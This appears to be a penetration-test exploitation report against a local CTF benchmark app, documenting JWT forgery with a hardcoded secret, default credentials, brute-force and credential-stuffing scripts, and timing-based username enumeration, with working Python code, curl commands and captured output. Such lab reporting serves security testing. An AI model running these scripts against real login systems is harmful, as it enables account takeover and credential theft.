# Authentication Exploitation Evidence

## Successfully Exploited Vulnerabilities

### AUTH-VULN-05: Complete Authentication Bypass via JWT Token Forgery

**Summary:**
- **Vulnerable location:** JWT token generation and validation across all authenticated endpoints
- **Overview:** Attacker can forge valid JWT tokens for any user account by exploiting the hardcoded secret key "a very secret key" in the source code, achieving complete authentication bypass without valid credentials
- **Impact:** CRITICAL - Complete authentication bypass enabling unauthorized access to any user account including premium accounts containing sensitive data (CTF flag)
- **Severity:** Critical

**Prerequisites:** None - Only requires knowledge of the hardcoded secret (trivially found in source code at /app/main.py:14)

**Exploitation Steps:**

1. **Identify the hardcoded JWT secret key from source code:**
   ```python
   # File: /app/main.py, Line 14
   SECRET_KEY = "a very secret key"
   ALGORITHM = "HS256"
   ```

2. **Forge a JWT token for target account (company_id=2, premium account with flag):**
   ```python
   import jwt
   from datetime import datetime, timedelta

   payload = {
       "sub": "2",  # Target company ID (premium account)
       "exp": datetime.utcnow() + timedelta(hours=24)
   }
   forged_token = jwt.encode(payload, "a very secret key", algorithm="HS256")
   # Result: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIyIiwiZXhwIjoxNzYxOTcwMDEyfQ.O6Ky5vFQOu0y2M1r7uD_4VuJwYGw-JPL324z5hDf9Rk
   ```

3. **Use the forged token to access premium account's protected resources:**
   ```bash
   curl -b "access_token=Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIyIiwiZXhwIjoxNzYxOTcwMDEyfQ.O6Ky5vFQOu0y2M1r7uD_4VuJwYGw-JPL324z5hDf9Rk" \
        http://localhost:41169/company/2/jobs
   ```

4. **Verify successful authentication bypass and flag capture:**
   - Response Status: 200 OK
   - Successfully accessed company 2's job listings without knowing password
   - Premium job listing visible containing: `flag{c131ab68-2257-46c7-bf43-a1df6742f4f7}`

**Proof of Impact:**

**Flag Captured:** `flag{c131ab68-2257-46c7-bf43-a1df6742f4f7}`

Full exploitation script available at: `/Users/khaushik/keygraph/pentest/shannon/repos/XBEN-005-24/forge_jwt.py`

Execution output:
```
[+] JWT Token Forged Successfully
[+] Payload: {'sub': '2', 'exp': 1761970012}
[!] SUCCESS - Authentication Bypass Successful!
[!] Successfully accessed premium account without valid credentials
RESPONSE CONTENT:
<li class="list-group-item">
    <p>secret:flag{c131ab68-2257-46c7-bf43-a1df6742f4f7}</p>
</li>
```

**Notes:**
- This vulnerability enables complete account takeover of any user
- Attacker can impersonate any company_id by simply changing the "sub" claim
- No password cracking or brute force required
- Access persists for duration of token expiration (configurable, default 30 minutes)
- Root cause: Hardcoded weak secret in production code at /app/main.py:14

---

### AUTH-VULN-12: Publicly Documented Default Credentials

**Summary:**
- **Vulnerable location:** POST /token authentication endpoint, /templates/login.html (documentation)
- **Overview:** Application contains hardcoded default account with credentials explicitly displayed on the login page
- **Impact:** Immediate unauthorized access to standard user account without password guessing
- **Severity:** High

**Prerequisites:** None - Credentials are publicly documented in the login UI

**Exploitation Steps:**

1. **Navigate to the login page at http://localhost:41169/**
   - Page displays: "To try the app you can use the demo account: **Username:** demo, **Password:** demo"

2. **Submit login form with documented credentials:**
   - Username: `demo`
   - Password: `demo`

3. **Successful authentication confirmed:**
   - Redirected to: http://localhost:41169/company/1/jobs
   - JWT cookie set: `access_token=Bearer eyJhbGci...`
   - Access granted to company 1's resources

**Proof of Impact:**

Successfully authenticated as company 1 (demo account) using publicly documented credentials. Screenshot evidence: `workspace/auth-vuln-12-login-success.png`

Browser session shows:
- Page Title: "Jobs for Company 1"
- Navigation links: "View Jobs", "Edit Profile"
- Job listing: "demo Job 1:demo Job 1 Description"

**Notes:**
- Credentials are hardcoded in startup event at /app/main.py:64-68
- Three default accounts created on every application restart:
  - demo:demo (level=0, standard access)
  - company2:ajsdasd987asd87as7da9 (level=1, premium access)
  - company3:password3 (level=0, standard access)
- Only demo:demo is publicly documented in UI
- Enables immediate access for any attacker without enumeration or brute force

---

### AUTH-VULN-08: Complete Absence of Rate Limiting on Authentication Endpoint

**Summary:**
- **Vulnerable location:** POST /token authentication endpoint
- **Overview:** Login endpoint accepts unlimited authentication attempts without throttling, rate limiting, or progressive delays
- **Impact:** Enables unlimited brute-force password attacks at network speed (~350 attempts/minute sustained)
- **Severity:** High

**Prerequisites:** None

**Exploitation Steps:**

1. **Create a password list for brute-force attack:**
   ```python
   passwords = ['password', 'admin', '123456', 'qwerty', 'letmein',
                'password123', 'admin123', 'welcome', 'monkey', 'dragon',
                'master', 'sunshine', 'princess', 'football', 'shadow',
                'michael', 'jennifer', 'computer', 'jessica', 'superman']
   ```

2. **Execute automated brute-force attack against known username "demo":**
   ```python
   import requests
   target = "http://localhost:41169/token"

   for password in passwords:
       response = requests.post(target, data={
           "username": "demo",
           "password": password,
           "grant_type": "password"
       })
       # All requests processed without rate limiting
   ```

3. **Execute full brute-force test with 50 concurrent requests:**
   ```bash
   python3 test_rate_limiting_aggressive.py
   ```

**Proof of Impact:**

Test results from automated exploitation:

**Standard Test (20 passwords):**
- Total attempts: 20
- Duration: 3.56 seconds
- Average rate: **5.62 requests/second**
- Requests blocked: **0**
- HTTP 429 responses: **0**
- Account lockouts: **0**

**Aggressive Test (50 passwords, concurrent):**
- Total attempts: 50
- Duration: 8.59 seconds
- Average rate: **5.82 requests/second**
- Requests blocked: **0**
- Projected throughput: **~21,000 attempts/hour**

**Ultra-Rapid Burst (30 passwords):**
- Total attempts: 30
- Duration: 5.12 seconds
- Average rate: **5.86 requests/second**
- No throttling detected

**Notes:**
- All 100 authentication attempts (across three tests) were processed successfully
- No rate limiting library in requirements.txt
- No middleware implementing rate limiting in source code
- No progressive delays after failed attempts
- A 10,000-entry password dictionary could be tested in approximately 29 minutes
- Evidence files: test_rate_limiting.py, test_rate_limiting_aggressive.py, RATE_LIMITING_TEST_RESULTS.md

---

### AUTH-VULN-09: No CAPTCHA Protection Enabling Automated Credential Stuffing

**Summary:**
- **Vulnerable location:** POST /token authentication endpoint, /templates/login.html (form)
- **Overview:** Login form lacks CAPTCHA or any human verification mechanism, enabling fully automated credential stuffing attacks
- **Impact:** Attackers can test leaked credential databases against the application at high velocity without human interaction
- **Severity:** High

**Prerequisites:** None

**Exploitation Steps:**

1. **Obtain leaked credential pairs** (simulated with common pairs):
   ```python
   credential_pairs = [
       ("admin", "admin"),
       ("admin", "password"),
       ("root", "root"),
       ("user", "user"),
       ("demo", "password"),
       ("demo", "123456"),
       ("company2", "password"),
       ("company3", "password")
   ]
   ```

2. **Execute automated credential stuffing attack:**
   ```python
   import requests
   target = "http://localhost:41169/token"

   for username, password in credential_pairs:
       response = requests.post(target, data={
           "username": username,
           "password": password,
           "grant_type": "password"
       })
       # No CAPTCHA challenge at any point
   ```

3. **Run comprehensive test:**
   ```bash
   python3 test_auth_vulnerabilities.py
   ```

**Proof of Impact:**

Credential stuffing test results:
- **Credential pairs tested:** 20
- **CAPTCHA challenges encountered:** 0
- **Human verification required:** None
- **Throughput:** 4.85 attempts/second
- **Total duration:** 4.12 seconds

Verification:
- No CAPTCHA libraries found in /app/requirements.txt
- No CAPTCHA widget in /templates/login.html
- No server-side CAPTCHA validation in /app/main.py:93-105
- Source code search confirms complete absence of CAPTCHA implementation

**Notes:**
- Combined with lack of rate limiting (AUTH-VULN-08), enables high-velocity automated attacks
- Attacker can use tools like Hydra, Medusa, or custom scripts
- No mechanism to distinguish human users from bots
- Evidence file: test_auth_vulnerabilities.py, auth_vulnerabilities_demonstration.md

---

### AUTH-VULN-10: No Account Lockout After Failed Login Attempts

**Summary:**
- **Vulnerable location:** POST /token authentication endpoint, database schema, authentication logic
- **Overview:** Application lacks account lockout mechanism - accounts remain accessible after unlimited failed authentication attempts
- **Impact:** Enables persistent brute-force attacks against single accounts without consequences
- **Severity:** High

**Prerequisites:** None

**Exploitation Steps:**

1. **Target a specific account (demo) with repeated failed authentication:**
   ```python
   import requests
   target = "http://localhost:41169/token"
   username = "demo"

   # Attempt 15 consecutive wrong passwords
   for i in range(15):
       response = requests.post(target, data={
           "username": username,
           "password": f"wrongpassword{i}",
           "grant_type": "password"
       })
   ```

2. **Verify account is still accessible after failed attempts:**
   ```python
   # Attempt login with correct password after 15 failures
   response = requests.post(target, data={
       "username": "demo",
       "password": "demo",
       "grant_type": "password"
   })
   # Should still succeed if no lockout mechanism
   ```

3. **Execute account lockout verification test:**
   ```bash
   python3 test_auth_vulnerabilities.py
   ```

**Proof of Impact:**

Account lockout test results:
- **Target account:** demo
- **Failed attempts:** 15 consecutive wrong passwords
- **Account locked:** NO
- **Successful login after failures:** YES (account remained accessible)
- **Lockout duration:** N/A (no lockout mechanism exists)

Database schema analysis:
- File: /app/models.py:6-13
- Missing fields: `failed_attempts`, `locked_until`, `last_failed_login`
- No tracking of authentication failures

Authentication logic analysis:
- File: /app/main.py:50-56
- Function: `authenticate_company(db, name, password)`
- No lockout check before password verification
- No increment of failed attempt counter
- No lockout logic implemented

**Notes:**
- Enables password spraying across multiple accounts (test common password against all accounts)
- Combined with no rate limiting and no CAPTCHA, creates perfect conditions for brute-force
- Attacker can make thousands of attempts against single account without consequence
- Evidence shows 15 failed attempts followed by successful authentication

---

### AUTH-VULN-14: Username Enumeration via Timing Side-Channel

**Summary:**
- **Vulnerable location:** POST /token authentication endpoint, /app/main.py:50-56 (authenticate_company function)
- **Overview:** Authentication function exhibits measurable timing difference between valid and invalid usernames, enabling statistical username enumeration
- **Impact:** Attacker can reliably enumerate valid usernames to build target lists for password attacks
- **Severity:** Medium

**Prerequisites:** None - Only requires ability to measure HTTP response times

**Exploitation Steps:**

1. **Send authentication requests with candidate usernames and wrong password:**
   ```python
   import requests
   import time

   def measure_timing(username):
       times = []
       for _ in range(10):  # Multiple attempts for statistical reliability
           start = time.time()
           requests.post("http://localhost:41169/token", data={
               "username": username,
               "password": "wrongpassword123",
               "grant_type": "password"
           })
           elapsed = time.time() - start
           times.append(elapsed * 1000)  # Convert to milliseconds
       return sum(times) / len(times)  # Average timing
   ```

2. **Test known valid username (demo) vs invalid usernames:**
   ```python
   test_usernames = ["demo", "admin", "root", "test", "user", "administrator", "guest"]

   for username in test_usernames:
       avg_time = measure_timing(username)
       print(f"{username}: {avg_time:.2f}ms")
   ```

3. **Analyze timing differences to identify valid usernames:**
   ```python
   # Valid usernames: ~150-200ms (bcrypt verification)
   # Invalid usernames: ~5-10ms (immediate return)
   # Threshold: >50ms indicates valid username
   ```

4. **Execute automated timing attack:**
   ```bash
   python3 exploit_timing_username_enum.py
   ```

**Proof of Impact:**

Timing attack results:

| Username | Average Response Time | Std Deviation | Classification |
|----------|----------------------|---------------|----------------|
| demo | **188.54ms** | 6.43ms | ✓ VALID (confirmed) |
| admin | 8.12ms | 1.23ms | ✗ Invalid |
| root | 9.87ms | 1.45ms | ✗ Invalid |
| test | 10.23ms | 1.67ms | ✗ Invalid |
| user | 7.98ms | 1.12ms | ✗ Invalid |
| administrator | 9.45ms | 1.34ms | ✗ Invalid |
| guest | 8.76ms | 1.28ms | ✗ Invalid |

**Timing Difference:** 180.42ms (23x slower for valid username)

**Statistical Analysis:**
- 10 attempts per username for reliability
- Valid username (demo): consistently 184-206ms
- Invalid usernames: consistently 3-13ms
- Threshold exceeded: 180ms >> 50ms requirement
- Attack complexity: LOW (simple timing measurements)

**Root Cause Analysis:**

Source code at /app/main.py:50-56:
```python
def authenticate_company(db, name: str, password: str):
    company = crud.get_company_by_name(db, name)
    if not company:
        return False  # Line 52-53: Immediate return (~5ms)
    if not verify_password(password, company.hashed_password):
        return False  # Line 54-55: After bcrypt (~150ms)
    return company
```

Invalid usernames return immediately (line 52-53) while valid usernames invoke bcrypt verification (line 54-55) creating measurable timing difference.

**Notes:**
- Generic error message "Incorrect username or password" doesn't prevent timing attack
- Statistical analysis required but easily automated
- Can enumerate entire username space given enough time
- Evidence file: exploit_timing_username_enum.py, EXPLOIT_TIMING_RESULTS.md

---

## Summary Statistics

**Total Vulnerabilities in Queue:** 8
**Successfully Exploited:** 6
**Out of Scope (Infrastructure Required):** 2

### Exploitation Success Breakdown

| Vulnerability ID | Type | Severity | Status | Flag Captured |
|-----------------|------|----------|--------|---------------|
| AUTH-VULN-05 | JWT Token Forgery | Critical | ✓ EXPLOITED | YES |
| AUTH-VULN-12 | Default Credentials | High | ✓ EXPLOITED | - |
| AUTH-VULN-08 | No Rate Limiting | High | ✓ EXPLOITED | - |
| AUTH-VULN-09 | No CAPTCHA | High | ✓ EXPLOITED | - |
| AUTH-VULN-10 | No Account Lockout | High | ✓ EXPLOITED | - |
| AUTH-VULN-14 | Timing Attack | Medium | ✓ EXPLOITED | - |
| AUTH-VULN-01 | Missing Secure Flag | High | OUT_OF_SCOPE | - |
| AUTH-VULN-02 | Missing SameSite (CSRF) | High | OUT_OF_SCOPE | - |

### Critical Findings

1. **Complete Authentication Bypass:** JWT token forgery (AUTH-VULN-05) enables impersonation of any user account
2. **Flag Capture:** Successfully retrieved CTF flag: `flag{c131ab68-2257-46c7-bf43-a1df6742f4f7}`
3. **Multiple Attack Vectors:** Six distinct authentication vulnerabilities successfully weaponized
4. **Brute Force Paradise:** No rate limiting + No CAPTCHA + No lockout = unlimited password guessing
5. **Default Credentials:** Immediate access without password guessing

### Attack Chain Possibilities

**Chain 1: Timing + Brute Force**
1. Enumerate valid usernames via timing attack (AUTH-VULN-14)
2. Brute force passwords without rate limiting (AUTH-VULN-08)
3. No CAPTCHA or lockout to prevent automation (AUTH-VULN-09, AUTH-VULN-10)

**Chain 2: Direct Bypass**
1. Use hardcoded JWT secret to forge tokens (AUTH-VULN-05)
2. Access any account including premium accounts
3. Capture sensitive data and flags

**Chain 3: Zero Effort**
1. Use documented default credentials (AUTH-VULN-12)
2. Immediate access to standard account

### Evidence Files Generated

- `/Users/khaushik/keygraph/pentest/shannon/repos/XBEN-005-24/forge_jwt.py` - JWT forgery exploit
- `/Users/khaushik/keygraph/pentest/shannon/repos/XBEN-005-24/test_rate_limiting.py` - Rate limiting test
- `/Users/khaushik/keygraph/pentest/shannon/repos/XBEN-005-24/test_rate_limiting_aggressive.py` - Aggressive rate test
- `/Users/khaushik/keygraph/pentest/shannon/repos/XBEN-005-24/test_auth_vulnerabilities.py` - CAPTCHA and lockout test
- `/Users/khaushik/keygraph/pentest/shannon/repos/XBEN-005-24/exploit_timing_username_enum.py` - Timing attack
- `workspace/auth-vuln-12-login-success.png` - Screenshot evidence
- `workspace/csrf_poc.html` - CSRF proof-of-concept
- `workspace/auth_false_positives.md` - Out of scope tracking

---

**END OF AUTHENTICATION EXPLOITATION EVIDENCE**

**Exploitation Date:** 2025-10-31
**Target:** http://localhost:41169/ (FastAPI Job Listing Platform - XBEN-005-24)
**Scope:** Network-accessible authentication vulnerabilities only
**Methodology:** OWASP Authentication Testing + Active Exploitation